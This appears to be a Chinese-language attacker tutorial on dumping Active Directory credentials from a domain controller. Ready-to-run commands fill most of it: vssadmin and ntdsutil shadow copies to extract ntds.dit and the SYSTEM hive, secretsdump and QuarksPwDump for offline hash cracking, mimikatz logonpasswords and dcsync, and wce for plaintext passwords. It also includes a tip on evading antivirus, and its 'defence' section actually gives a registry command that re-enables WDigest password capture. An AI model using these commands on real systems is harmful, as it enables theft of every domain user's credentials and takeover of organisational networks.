ntds.dit
ntds.dit是主要的AD數據庫,存放在C:\Windows\NTDS\NTDS.dit,包括有關域用戶,組和組成員身份的信息。它還包括域中所有用戶的密碼哈希值。為了進一步保護密碼哈希值,使用存儲在SYSTEM注冊表配置單元中的密鑰對這些哈希值進行加密
獲取方式分為兩種:
1.在線獲取
2.離線獲取
注意:
在域環境中,建議不要直接在線獲取hash,特別是域環境比較大的時候,在線獲取hash等待時候較長,工具占用資源太多,容易造成域控服務器崩潰。
在線獲取
適用於域用戶較少的時候
工具:
wce、gethashes、mimikatz
離線獲取
導出ntds.dit 和 system文件,下載到本地 (這兩個文件屬於系統特殊文件,不能直接復制粘貼,需要采取特殊方法進行復制粘貼,類似的還有SAM文件。)
獲取方法一:卷影拷貝法
利用vssadmin命令
(1)創建C盤卷影拷貝
vssadmin create shadow /for=c:
獲得地址 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4
(2) 復制ntds.dit和system文件(將文件復制到c盤下)
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\NTDS\ntds.dit c:\\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\system32\config\system c:\\
圖為復制到域控下某台機器上
(3)復制完之后刪除卷影
(4)破解hash
復制完保存在本地,利用impacket工具包 在impacket/example下
secretsdump.py -ntds ntds.dit文件的位置 -system system文件的位置 local
獲取方法二:利用ntsdutil.exe工具
NtdSutilexe是一個為Active Directory提供管理設施的命令行工具。
(1)使用ntdsutil.exe,進入ntdsutil.exe命令行
(2)使用snapshot,進入快照管理命令行
(3)創建新快照
activate instance ntds
create
(4)使用mount掛載快照,得到一個地址
mount {a90b5261-9d55-42d0-a19d-d414c7f962f1}
(5)另起一個cmd,復制快照種的ntds
copy C:\$SNAP_202002141741_VOLUMEC$\windows\ntds\ntds.dit
(6)卸載並刪除快照
(7)保存system
reg save hklm\system system.hive
(8)破解hash
使用QuarksPwDump-off-line進行離線破解
QuarksPwDump-off-line -dhd -nt ntds.dit -sf system.hive -o hashs.txt
獲取域hash其他方法
其他工具
導出工具
1.ntdsutil
2.diskshadow.exe
13.vssown
4.auxiliary/admin/smb/psexec.ntdsgrab#msf模塊
5.使用PowerSploit的Invoke-NinjaCopy遠程提取ntds.dit
讀取工具
NTDSDumpEx.exe
只獲取特定用戶的hash
進入mimikatz命令行模式
lsadump::dcsync /dc:win08.superman.com /domain:superman.com /user:用戶名
獲取明文密碼
分兩種情況:
1.在域控上獲取明文密碼
2.在普通域服務器上獲取明文密碼
再次提示:
在域環境中,不要直接在線獲取hash,特別是域環境比較大的時候,在線獲取hash等待時時間較長,工具占用資源太多,容易造成域控服務器崩潰。
1.在域控上獲取明文密碼
1.利用wce
wce -w
2.利用mimikatz
直接cmd調用
mimikatz.exe "sekurlsa::logonpasswords" exit
離線獲取,能繞過殺軟
離線獲取明文密碼
2.在普通域服務器上獲取明文密碼
普通域用戶無法獲取明文密碼,不管是wce還是mimikatz
普通域用戶無法獲取明文密碼,因為利用工具獲取明文密碼需要從系統進程lsass.exe的內存空間中讀取,域普通用戶的權限小於系統進程的system權限,所以沒有辦法從系統進程lsass.exe的內存空間中讀取明文密碼
防御方法
關於wce和mimikatz以及lsass.exe
Windows8.1以上版本或打過KB2871997補丁的機器,lsass中不會存儲密碼,如果想抓取密碼,可以將注冊表HKLM(HKEY LOCAL MACHINE)\SYSTEM\CurrentControlSet\Control\securityProviders\Wdigest下的UseLogonCredential設置為1,類型為DWORD32
可以使用命令:
Reg add HKLM\SYSTEM\CurrentControlSet\Control\securityProviders Wdigest/v UselogonCredential/t REG_DWORD /d1